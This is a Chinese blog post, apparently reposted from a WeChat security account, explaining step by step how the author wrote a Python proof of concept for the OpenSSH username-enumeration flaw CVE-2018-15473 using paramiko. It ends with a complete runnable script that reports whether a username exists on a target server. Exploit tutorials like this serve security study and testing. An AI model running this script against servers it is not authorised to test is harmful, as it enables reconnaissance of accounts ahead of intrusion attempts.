接触网络安全,vul,poc,exp这些术语肯定不陌生,之前一直没有自己写过poc,今天找了一个简单vul,实践了一次poc的编写。我选择的漏洞是:CVE-2018-15473,漏洞非常简单,描述如下:
通过向OpenSSH服务器发送一个错误格式的公钥认证请求,可以判断是否存在特定的用户名。如果用户名不存在,那么服务器会发给客户端一个验证失败的消息。如果用户名存在,那么将因为解析失败,不返回任何信息,直接中断通讯,OpenSSH 7.7 之前的版本都受影响。
分析协议,确定poc执行思路
首先用命令行工具发起一个ssh连接请求
ssh [email protected] -i ~/.ssh/id_rsa
通过wireshark抓包分析。
忽略tcp握手和ack的包,只看sshv2的包
可以看到前面是DH秘钥交换,后面 Encrypted packet才是有效的ssh协议内容。手工修改还挺麻烦,并不能简单的通过抓包,修改,回放的形式做测试。
大致的验证vul的思路是:
-
正常的建立tcp连接
-
正常的完成DH秘钥交换
-
篡改登录认证阶报文
-
检测服务端的响应
PoC编写
第一步:发起一个ssh请求
因为接下来用对报文进行篡改,不能用系统自带的ssh命令,需要找一个第三方库,并且是可以hook代码的,搜索python ssh,能找到这样一个模块paramiko,进一步搜索,能找到很多demo,大致总结一下,有两种写法
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
s = paramiko.SSHClient()
s.load_system_host_keys()
s.set_missing_host_key_policy(paramiko.AutoAddPolicy())
s.connect(host,port,user,pkey=paramiko.RSAKey.from_private_key_file(rsa_key))
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
t = paramiko.Transport((host, port))
t.connect(username = user, pkey=paramiko.RSAKey.from_private_key_file(rsa_key))
s = paramiko.SSHClient()
s._transport = t
我选择第二种。这些第三方库都是高度封装的,但是要篡改报文,就要解封代码。第二种方法至少把建立tcp连接和完成ssh登录分开了,比第一种好拆一点点。当然第二种代码也不能直接用,t.connect做了很多操作,需要进一步拆分。
找到connect代码,在 site-packages/paramiko/transport.py
这个文件里面。搜索 def connect
能找到相关代码,去掉注释大概50行,再去掉没必要的分支,最核心的代码就两行
self.start_client()
self.auth_publickey(username, pkey)
结合第一段代码。就变成这样
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
t = paramiko.Transport((host, port))
t.start_client()
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
通过抓包分析,paramiko.Transport完成了建立tcp连接,start_client()完成了DH秘钥交换,auth_publickey完成登陆认证,这个函数已经很聚焦了,现在要篡改认证的报文就可以从这个函数下手。
第二步:报文篡改
篡改报文的思路就是找到组装报文的函数,hook这个函数,重写相关逻辑。
跟踪auth_publickey执行过程,其中发送的报文主要是message这个类封装的,有很多地方可以篡改这个message,但是message这个类中有一个非常简单的函数 add_boolean,在整个auth_publickey 函数执行过程中被调用了两次,这个函数非常简单,修改容易,并且不会有大面积的影响。
site-packages/paramiko/message.py
def add_boolean(self, b):
"""
Add a boolean value to the stream.
:param bool b: boolean value to add
"""
if b:
self.packet.write(one_byte)
else:
self.packet.write(zero_byte)
return self
结合之前的代码,我们直接重写一个什么都不处理的add_boolean。可想而知,发出的报文会少两个byte,这个代码就起到篡改报文的作用了。
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
def add_boolean(*args, **kwargs):
pass
t = paramiko.Transport((host, port))
t.start_client()
paramiko.message.Message.add_boolean = add_boolean
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
第三步:检测结果
上面的代码,在执行过程中会抛出异常,当用户名存在的时候,抛出的异常是
Traceback (most recent call last):
File "./simple_ssh.py", line 28, in <module>
t.auth_publickey(args.user, paramiko.RSAKey.from_private_key_file(args.pkey))
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/transport.py", line 1507, in auth_publickey
return self.auth_handler.wait_for_response(my_event)
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/auth_handler.py", line 236, in wait_for_response
raise e
paramiko.ssh_exception.AuthenticationException: Authentication failed.
当用户名不存在的时候,抛出的异常是
Traceback (most recent call last):
File "./simple_ssh.py", line 28, in <module>
t.auth_publickey(args.user, paramiko.RSAKey.from_private_key_file(args.pkey))
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/transport.py", line 1507, in auth_publickey
return self.auth_handler.wait_for_response(my_event)
File "/Users/sunbingqian/Downloads/ssh_check/lib/python2.7/site-packages/paramiko/auth_handler.py", line 250, in wait_for_response
raise e
paramiko.ssh_exception.AuthenticationException: Authentication failed.
可以看到,异常类型和消息都是一样的,不过堆栈信息不同。非常鲁莽的办法就是对堆栈信息做字符串检测
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
def add_boolean(*args, **kwargs):
pass
t = paramiko.Transport((host, port))
t.start_client()
paramiko.message.Message.add_boolean = add_boolean
try:
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
except paramiko.ssh_exception.AuthenticationException:
tb = traceback.format_exc()
if tb.find("line 236, in wait_for_response") != -1:
print("valid user")
else:
print("invalid user")
到这里,PoC算是已经可运行了,但这个程序是纸糊的,paramiko代码稍有变动,就不能用了,而且可读性很差。
仔细分析auth_publickey的执行过程,发现当用户不存在的时候,会执行 _parse_userauth_failure
这个函数,用户存在的时候不会执行,我们可以重写这个函数,因为不关心后续的执行,这个函数可以非常简单的重写。这个函数不是静态调用的,是通过配置动态调用的,不能用猴子补丁,需要修改配置
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
def add_boolean(*args, **kwargs):
pass
def _parse_userauth_failure(*args, **kwargs):
print("invalid user")
sys.exit()
t = paramiko.Transport((host, port))
t.start_client()
paramiko.message.Message.add_boolean = add_boolean
paramiko.auth_handler.AuthHandler._client_handler_table.update({
paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
})
try:
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
except paramiko.ssh_exception.AuthenticationException:
print("valid user")
这个程序可以运行,但是没有正常退出,因为paramiko是多线程运行,sys.exit()
无效。可以通过抛出异常的方式退出
host = "192.168.178.88"
port = 22
user = "root"
rsa_key = "~/.ssh/id_rsa"
def add_boolean(*args, **kwargs):
pass
def _parse_userauth_failure(*args, **kwargs):
print("invalid user")
raise Exception()
t = paramiko.Transport((host, port))
t.start_client()
paramiko.message.Message.add_boolean = add_boolean
paramiko.auth_handler.AuthHandler._client_handler_table.update({
paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
})
try:
t.auth_publickey(user, paramiko.RSAKey.from_private_key_file(rsa_key))
except paramiko.ssh_exception.AuthenticationException:
print("valid user")
except Exception:
sys.exit()
这个程序能正常退出了,但是有一个不和谐的打印
No handlers could be found for logger "paramiko.transport"
为什么会出现这个信息呢,因为_parse_userauth_failure中抛出的异常,被paramiko.transport的其他代码捕获,它想输出错误信息到log,但是没有找到相关的log handler。我们可以通过添加以下代码,完成log handler设置
import logging
logging.basicConfig()
这样会真输出错误日志,不过这里我们不关心错误日志,我们只是想用抛出异常的方式退出程序,可以给一个null handler,让错误信息不输出
import logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
到这里草稿版的PoC就完成了。再加上命令行参数处理,host,user等信息从命令行获取,因为我们并不打算真的登录到什么机器,所以rsa_key并不真的需要从文件load,直接生成一个新的就行。最终代码如下:
import paramiko
import argparse
import sys
import logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('--host', type=str, required=True)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('--user', type=str, required=True)
args = arg_parser.parse_args()
def add_boolean(*args, **kwargs):
pass
def _parse_userauth_failure(*args, **kwargs):
print("invalid user")
raise Exception()
t = paramiko.Transport((args.host, args.port))
t.start_client()
paramiko.message.Message.add_boolean = add_boolean
paramiko.auth_handler.AuthHandler._client_handler_table.update({
paramiko.common.MSG_USERAUTH_FAILURE: _parse_userauth_failure
})
try:
t.auth_publickey(args.user, paramiko.RSAKey.generate(2048))
except paramiko.ssh_exception.AuthenticationException:
print("valid user")
except Exception:
sys.exit()
总结
PoC程序因为要构建畸形的请求,免不了对正常库代码做比较大的改动,而且PoC并不需要非常稳定的运行,改动过程中很容易考虑不全面,所有从网上下载的PoC,有些不能运行也属于正常现象,PoC只能是在特定版本,特定环境下可以运行。
编写过程中还出现了一些小意外。
paramiko依赖cryptography,通过pip install paramiko的方式安装,会安装paramiko和cryptography最新的库,这种最新组合,很容易出现不兼容,我们最好先装cryptography,后装paramiko,并且指定版本。
pip install cryptography==2.4.2
pip install paramiko==2.4.2
按照漏洞的说明 openssh 7.7以前的版本都受到影响,但是我测试树莓派的时候失败了,树莓派中安装的版本是7.4,不管输入什么用户名。都提示有效用户。目前还没研究这个版本的openssh和centos中的差别。
转自三环十二少。
本文始发于微信公众号(乌雲安全):记一次PoC编写过程
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论